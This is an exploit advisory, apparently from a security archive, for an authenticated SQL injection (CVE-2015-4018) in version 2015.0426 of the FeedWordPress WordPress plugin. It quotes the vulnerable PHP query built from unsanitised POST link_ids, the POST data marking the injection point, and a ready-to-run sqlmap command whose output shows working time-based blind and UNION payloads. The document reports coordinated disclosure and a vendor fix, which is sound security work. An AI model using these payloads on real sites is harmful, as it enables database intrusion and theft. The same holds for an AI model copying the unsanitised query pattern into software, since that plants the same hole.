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WordPress FeedWordPress 2015.0426 SQL Injection

WordPress FeedWordPress 2015.0426 SQL Injection
Posted May 19, 2015
Authored by Adrian M. F.

WordPress FeedWordPress plugin version 2015.0426 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-4018
MD5 | 65342c947c888e72107387346a071764

WordPress FeedWordPress 2015.0426 SQL Injection

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# Exploit Title: SQLi in FeedWordPress WordPress plugin
# Date: 2015-05-19
# Exploit Author: Adrián M. F.
# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
# Vulnerable version: 2015.0426
# Fixed version: 2015.0514
# CVE : CVE-2015-4018


(1) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
feedwordpresssyndicationpage.class.php:89
+++++++++++++++++++++++++++++++++++++++++
$targets = $wpdb->get_results("
SELECT * FROM $wpdb->links
WHERE link_id IN (".implode(",",$_POST['link_ids']).")
");
+++++++++++++++++++++++++++++++++++++++++
http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]

* POC:
SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
[............]
POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
---
Parameter: link_ids[] (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794

Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)--
---
[10:40:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++

Timeline
========
2015-05-09: Discovered vulnerability.
2015-05-14: Vendor notification.
2015-05-14: Vendor response and fix.
2015-05-19: Public disclosure.
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